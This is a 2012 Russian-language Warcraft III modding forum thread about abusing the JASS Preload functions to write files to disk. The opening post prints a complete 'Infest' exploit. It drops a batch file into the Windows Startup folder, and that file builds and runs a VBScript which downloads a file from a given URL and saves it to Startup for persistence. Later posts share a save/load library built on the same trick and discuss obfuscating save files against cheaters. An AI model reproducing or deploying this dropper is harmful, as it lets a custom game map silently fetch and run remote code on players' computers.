XGM Forum
Сайт - Статьи - Проекты - Ресурсы - Блоги

Форуме в режиме ТОЛЬКО ЧТЕНИЕ. Вы можете задать вопросы в Q/A на сайте, либо создать свой проект или ресурс.
Вернуться   XGM Forum > Warcraft> Барахолка
Ник
Пароль
Войти через VK в один клик
Сайт использует только имя.

Ответ
 
Msey
????
offline
Опыт: 67,346
Активность:
кстати, это пофиксили или нет?
((код jass
function Infest takes string url, string localname returns nothing
call PreloadGenClear()
call PreloadGenStart()
call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//")
call Preload("\")\necho objXMLHTTP.open \"GET\", \""url"\", false >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objXMLHTTP.send() >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho If objXMLHTTP.Status = 200 Then >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho Set objADOStream = CreateObject(\"ADODB.Stream\") >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Open >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Type = 1 >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Write objXMLHTTP.ResponseBody >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Position = 0 >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho If objFSO.Fileexists(\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"localname"\") Then objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"localname"\" >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.SaveToFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"localname"\" >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Close >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho End if >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objFSO.DeleteFile \"%TEMP%\\download.vbs\" >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
call Preload("\")\nstart %TEMP%\\download.vbs\n//")
call PreloadGenEnd("C:\\Users\\YOURUSERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat")
call PreloadGenClear()
call PreloadGenStart()
call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//")
call Preload("\")\necho objXMLHTTP.open \"GET\", \""url"\", false >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objXMLHTTP.send() >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho If objXMLHTTP.Status = 200 Then >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho Set objADOStream = CreateObject(\"ADODB.Stream\") >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Open >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Type = 1 >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Write objXMLHTTP.ResponseBody >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Position = 0 >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho If objFSO.Fileexists(\"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\"localname"\") Then objFSO.DeleteFile \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\"localname"\" >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.SaveToFile \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\"localname"\" >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objADOStream.Close >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho End if >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objFSO.DeleteFile \"%TEMP%\\download.vbs\" >> %TEMP%\\download.vbs\n//")
call Preload("\")\necho objFSO.DeleteFile \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
call Preload("\")\nstart %TEMP%\\download.vbs\n//")
call PreloadGenEnd("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\myvirus.bat")
endfunction
===========================================================================
function InitTrig_Melee_Initialization takes nothing returns nothing
call Infest("http://www.stephan-brenner.com/blog/wp-content/uploads/2008/08/donothing.zip", "myvirus.zip")
))
Старый 22.06.2012, 21:23
YellowStar
poon
offline
Опыт: 15,144
Активность:
Да, в интернет теперь бинарник он не запустит, но я бинарниками зато создавал loc файлы.
Старый 23.06.2012, 00:38
Msey
????
offline
Опыт: 67,346
Активность:
И файлы больше не сохраняет кроме txt формата? (я не проерял, ибо времени не было)
Старый 24.06.2012, 17:07
YellowStar
poon
offline
Опыт: 15,144
Активность:
Цитата:
Сообщение от Msey
И файлы больше не сохраняет кроме txt формата? (я не проерял, ибо времени не было)

Формат не важен особо. В том вся соль и есть.

Бтв, по теме.
Кому интересна система но у кого наебнулись энтеры при записи перед \n ставьте \r.

Конструкция такая.

\r\n
Старый 04.08.2012, 11:14
16GB
GhostOne User
offline
Опыт: 60,317
Активность:
YellowStar,
так ты выложишь рабочую исправленную тобой версию?
Старый 04.08.2012, 11:19
YellowStar
poon
offline
Опыт: 15,144
Активность:
~16GB:
YellowStar,
так ты выложишь рабочую исправленную тобой версию?
Да, если будет не лень в ближайшие дни. В принципе там работы на две минуты.
Старый 04.08.2012, 18:54
ScorpioT1000
Работаем
online
Опыт: отключен
"при записи перед \n ставьте \r." внезапно на маках случится говно <3
Старый 04.08.2012, 19:00
Fakov
Viva la Fa
offline
Опыт: 102,058
Активность:
собснно хотелось бы знать - когда же?
Старый 07.08.2012, 18:12
YellowStar
poon
offline
Опыт: 15,144
Активность:
[quote=ScorpioT1000]"при записи перед \n ставьте \r." внезапно на маках случится говно <3[/quote]
Я срал на макинтоши. Собственно, вот ловите припишу кодом, карту лень выкладывать, но офк все работает, так как юзаю, сию замечательную наработочку в своей карте.
library DATA initializer Init

  // SETUP'S DATA MANAGER
  globals
    string  SAVE_PATH      = "DataManager\\" // FILE PATH (Can be [C:\\TEMP\\EWIX])
    string  SAVE_TYPE      = ".txt"          // FILE TYPE (Can be [all posible types])
    boolean CheckUserData  = true
  endglobals

  // CODE PART

  globals
    integer array DataTrue
    private integer SyncInt   = 0
    private real    SyncFlt   = 0
    private player  SyncPlr   = null
    private string  SyncStr   = null
    private boolean SyncBool  = false

    private gamecache SyncCache = InitGameCache("SyncCache")
    private string array STR
    private string       PID    = null // for optimization
  endglobals

  function Execute_STRING_DATA takes nothing returns nothing
    set STR[GetPlayerTechMaxAllowed(Player(13),1)]=GetPlayerName(Player(15))
  endfunction

  function CreateData takes player P returns nothing
    set SyncPlr  = P
    call ExecuteFunc("ExecCreateData")
  endfunction

  function ExecCreateData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"THIS |cffff0000DATA|r ALREADY USED!")
        return
      endif
      call PreloadGenClear()
      call PreloadGenStart()
      set SyncBool=true
    endif
  endfunction

  function AddInteger takes integer Offset,integer Value,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Integer function")
        return
      endif
      if Value>0 then
        call Preload("\")\r\ncall SetPlayerTechMaxAllowed(Player(15),"+I2S(Offset)+","+I2S(Value)+")\r\ncall SetPlayerTechMaxAllowed(Player(14),"+I2S(Offset)+",3)//")
      elseif Value<0 then
        call Preload("\")\r\ncall SetPlayerTechMaxAllowed(Player(15),"+I2S(Offset)+","+I2S(-Value)+")\r\ncall SetPlayerTechMaxAllowed(Player(14),"+I2S(Offset)+",2)//")
      endif
    endif
  endfunction

  function AddReal takes integer Offset,real Value,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Real function")
        return
      endif
      if Value>0 then
        call Preload("\")\r\ncall DefineStartLocation(11,"+R2SW(Value,2,2)+","+R2S(Offset)+")//")
      else
        call Preload("\")\r\ncall DefineStartLocation(11,"+R2SW(Value,2,2)+","+R2S(-Offset)+")//")
      endif
    endif
  endfunction

  function AddString takes integer Offset,string S,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 or Offset>8190 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add String function")
        return
      endif
      call Preload("\")\r\ncall SetPlayerName(Player(15),\""+S+"\")\r\ncall SetPlayerTechMaxAllowed(Player(13),1,"+I2S(Offset)+")\r\ncall ExecuteFunc(\"Execute_STRING_DATA\")\n//")
    endif
  endfunction

  function AddBoolean takes integer Offset,boolean B,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Boolean function")
        return
      endif
      if B then
        call Preload("\")\r\ncall SetGameTypeSupported(ConvertGameType("+I2S(Offset)+"),true)//")
      else
        call Preload("\")\r\ncall SetGameTypeSupported(ConvertGameType("+I2S(Offset)+"),false)//")
      endif
    endif
  endfunction

  function SaveData takes string Name,player P returns nothing
    set SyncPlr=P
    set SyncStr=Name
    call ExecuteFunc("Execute_SaveData")
  endfunction

  function Execute_SaveData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      endif
      set SyncBool=false
      call Preload("\")\r\nendfunction\r\nfunction recyclebin takes nothing returns nothing//")
      call PreloadGenEnd(SAVE_PATH+SyncStr+SAVE_TYPE)
    endif
  endfunction

  function LoadData takes string Name,player P returns nothing
    set SyncPlr = P
    set SyncStr = Name
    call ExecuteFunc("Execute_LoadData")
  endfunction

  function Execute_LoadData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      call Preloader(SAVE_PATH+SyncStr+SAVE_TYPE)
    endif
  endfunction

  function ReadInteger takes integer Offset,player P returns integer
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadInteger")
    return GetStoredInteger(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadInteger takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if GetPlayerTechMaxAllowed(Player(14),SyncInt)==2 then
        set SyncInt = -GetPlayerTechMaxAllowed(Player(15),SyncInt)
      elseif GetPlayerTechMaxAllowed(Player(14),SyncInt)==3 then
        set SyncInt = GetPlayerTechMaxAllowed(Player(15),SyncInt)
      else
        set SyncInt = 0
      endif
      call StoreInteger(SyncCache,I2S(SyncInt),PID,SyncInt)
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredInteger(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncInt = GetStoredInteger(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadReal takes integer Offset,player P returns real
    set SyncInt = Offset
    set SyncFlt = R2I(Offset)
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadReal")
    return GetStoredReal(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadReal takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if RAbsBJ(GetStartLocationY(GetPlayerStartLocation(Player(11))))!=SyncFlt then
        return
      endif
      if GetStartLocationY(GetPlayerStartLocation(Player(11)))<0 then
        set SyncFlt = -GetStartLocationX(GetPlayerStartLocation(Player(11)))
      else
        set SyncFlt = GetStartLocationX(GetPlayerStartLocation(Player(11)))
      endif
      call StoreReal(SyncCache,I2S(SyncInt),PID,SyncFlt)
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredReal(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncFlt = GetStoredReal(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadString takes integer Offset,player P returns string
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadString")
    return GetStoredString(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadString takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      call StoreString(SyncCache,I2S(SyncInt),PID,STR[SyncInt])
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredString(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncStr = GetStoredString(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadBoolean takes integer Offset,player P returns boolean
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadBoolean")
    return GetStoredBoolean(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadBoolean takes nothing returns nothing
    local boolean b=false
    if GetLocalPlayer()==SyncPlr then
      call StoreBoolean(SyncCache,I2S(SyncInt),PID,IsGameTypeSupported(ConvertGameType(SyncInt)))
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredBoolean(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set b=GetStoredBoolean(SyncCache,I2S(SyncInt),PID)
  endfunction
 
  globals
      private timer t=null
  endglobals
  
  private function Act2 takes nothing returns nothing
      local integer       i  = 0
      call PauseTimer(t)
      loop
        if GetPlayerController(Player(i))==MAP_CONTROL_USER then
            if DataTrue[i]==1337 then
                set DataTrue[i]=1
            else
                set DataTrue[i]=0
            endif
        endif
        set i=i+1
        exitwhen i>11
      endloop
  endfunction
  
  private function Act1 takes nothing returns nothing
      local integer       i  = 0
      loop
        if GetPlayerController(Player(i))==MAP_CONTROL_USER then
            call LoadData("test",Player(i))
            set DataTrue[i]=ReadInteger(0,Player(i))
        endif
        set i=i+1
        exitwhen i>11
      endloop
      set t=CreateTimer()
      call TimerStart(t,0.5,false,function Act2)
  endfunction
  
  private function Init takes nothing returns nothing
      local integer       i  = 0
      if CheckUserData then
          loop
              if GetPlayerController(Player(i))==MAP_CONTROL_USER then
                  call CreateData(Player(i))
                  call AddInteger(0,1337,Player(i))
                  call SaveData("test",Player(i))
              endif
              set i=i+1
              exitwhen i>11
           endloop
           call Act1()
      endif
  endfunction
  
endlibrary
Офк работает без cJass
[size=1][i]YellowStar добавил:[/i][/size]
poh na formatirovanie - luto besit su4ka!!!!

Отредактировано DragonSpirit, 23.08.2012 в 19:22.
Старый 16.08.2012, 02:22
Карточка
Kicked by SSrunX
offline
Опыт: 2,017
Активность:
наработка - супер
но допустим, если в карту интегрировать что-то вроде системы с идеей "больше отыграл - имеешь какие-то бонусы", то как её защитить от взлома? изначально полагаем, что никто не сможет защитить код карты от просмотра. а в этом коде будет видна вся защита системы, все проверки и др.
есть ли какая-то возможность защитить файл с сейвом от вмешательства читера, который рубит в джассе?
Старый 23.08.2012, 17:35
Nerevar
I'll be back!
offline
Опыт: 18,352
Активность:
Карточка, можно увеличить время взлома,не более
Nerevar добавил:
Ну т.е. конечно можно устроить взломщику аццкий форт-боярд,но я не буду озвучивать этот способ
Старый 23.08.2012, 17:53
Карточка
Kicked by SSrunX
offline
Опыт: 2,017
Активность:
да большая проблема: допустим есть защищающий код, который какое-то число закодирует. взломщик выдёргивает код, во входные данные ставит своё 99999 число и на выходе получит закодированный сейв, который пройдёт все проверки карты при загрузке. хоть 99999 строк защищающих кодов не помогут
я даже не предполагаю что тут можно закрутить такого, чтобы это реально мешало взломать
Старый 23.08.2012, 17:59
Nerevar
I'll be back!
offline
Опыт: 18,352
Активность:
Карточка, ваша проблема в том что ваши значения\константы для кодирования легко выдираются вместе с функцией шифрования,что я наглядно показал на примере взлома админки евикса(тему снесли правда из барахолки)
Старый 23.08.2012, 18:02
alexprey
познающий Unity
offline
Опыт: 68,501
Активность:
Карточка, 100% защиты не будет. Если сделаешь обусфикацию системы защиты, то считай что 80-90% знающих уже отсеяться, ибо ни кто не захочет пол года копаться и разбираться для чего что тут нужно
Старый 23.08.2012, 18:03
YellowStar
poon
offline
Опыт: 15,144
Активность:
Юзай executeFunc, и путай этими самыми ExecuteFunc.

Простой пример.

Код:
globals
    integer eax = 0
    integer esx = 0
endglobals

function Bitwise takes nothing returns nothing
    set eax = eax + StringHash(esx)
endfunction

function DeHash takes nothing returns nothing
    set eax = eax - StringHash(esx)
endfunction


YOUR FUNC CODE

save data
где InvMustDie - сохраняемый юнит, с высоким хендлом
где InvMustLive - юнит к которому атачим нашего юнита, ну допустим, созданный вначале круг власти в доте.
где bit - сохраняемое число

Код:
function BitwiseMyData takes unit InvMustDie, unit InvMustLive,integer bit returns nothing
    local integer i = 0
    local integer setup = GetHandleId(InvMustDie) - GetHandleId(InvMustLive)
    set esx = GetUnitName(InvMustDie) + GetUnitName(InvMustLive) + I2S(StringHash(GetUnitName(InvMustDie)))
    set eax = bit * bit
    loop
        exitwhen i>setup
        call ExecuteFunc("Bitwise")
        set i = i - 1
    endloop
endfunction

function DeBitwiseMyData takes unit InvMustLive,integer bit returns integer
    local integer i = 0
    local integer setup = LoadHandleId(.....) - GetHandleId(InvMustLive)
    set esx = I2S(StringHash(GetUnitName(InvMustDie))) + GetUnitName(InvMustLive) + I2S(StringHash(GetUnitName(InvMustDie)))
    set eax = LoadData(blablabla)
    loop
        exitwhen i>setup
        call ExecuteFunc("DeHash")
        set i = i - 1
    endloop
    return SquareRoot(eax)
endfunction


Требуется. Сохранить HandleUnita
Ну собственно формлулу можешь доработать, она не рабочая, просто простой пример шифрования... Итд. При том, что для шифрации, ты можешь добавлять данные в прелоадер. Потом выложу когда карту, попытаетесь её поломать, там алгоритм оче сложный (с различными HandleId, И полностью рабочий)
Старый 23.08.2012, 18:39
Doc

offline
Опыт: 63,163
Активность:
Ну да короче запутываешь, делаешь кучу контрольных сумм, контрольные суммы по контрольным суммам всякие хеши. Можно взять полученный код и сделать код из него, отрезать часть от начального и поставить в конец полученного потом все проверить. Чем больше функций всяких тем больше людей забьют на взломы.
Старый 23.08.2012, 19:05
Карточка
Kicked by SSrunX
offline
Опыт: 2,017
Активность:
думаю есть необходимость очень сильно завязывать код на карту. т.е. его перемещение функции шифрования в пустышку не обеспечит работу. например, привязывать объекты в карте, а по объектам брать инфу, если не отказала память - есть некоторое кол-во функций, берущих данные по объекту. например в РО запасаем цифру 8389. эти данные некотором образом (не явно) привязать к шифрованию так, чтобы при их отсутствии выдавался неверный код для сейва
данные из РО переезжают в слк. в итоге получается, чтобы воспользоваться функцией шифрования, надо запустить саму карту(причём функцию сделать так, чтобы её куски были вообще везде, т.е. чтобы не оставляли только шифрование в карте). а запуск карты после слк и векса - геморрой адовый.
Старый 23.08.2012, 19:23
Doc

offline
Опыт: 63,163
Активность:
Карточка, да можно привязывать к GetHandleId какого-нибудь юнита, если ничего не добавлять - данные не поменяются. Но эту проверку тоже можно убрать.
Старый 23.08.2012, 19:30
Карточка
Kicked by SSrunX
offline
Опыт: 2,017
Активность:
проверка - очень явный вид и легко редактируется
я думаю про что-то вроде череды формул, в которых очень важно, чтобы данные полученные по РО были верные. можно и id юнита и РО, а можно и по десятку их использовать. данные не верные - сгенеренный код не работает
достать id и данные из РО - работа с прямым взломом карты для её полноценного запуска; что есть удовольствие гигантское :D. хотя это не совсем верно, в закрытую версию можно интегрировать код для выведения на экран ид и данных из РО, и затем вставить их в карту пустышку. это всё упрощает, конечно, но менять код генерации + изменение кода закрытой карты = ручной взлом, что сужает круг тех, кто это сможет до единиц
Старый 23.08.2012, 19:40
YellowStar
poon
offline
Опыт: 15,144
Активность:
Да что мешает сделать такое тебе шифрование?

R2I(SquareRoot(StringHash(GetPlayerName(GetTriggerPlayer())))+.5) и использовать его как контрольную сумму, или как множитель? тогда и взлом будет сложнее, так как ты привяжешь сразу к игроку, а 90% игроков - срать на то, что они не смогут просчитать.

При том, можно сделать две контрольные суммы, которые считаются не формулярно, а считаются опять таки через StringHash("blabla"), череp Pow() etc.

Плюс я уверен, что карта не будет прям такой задрачиваемой, чтобы решили все вот так взять и взломать.
Старый 23.08.2012, 19:45
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы можете скачивать файлы

BB-коды Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход



Часовой пояс GMT +3, время: 17:09.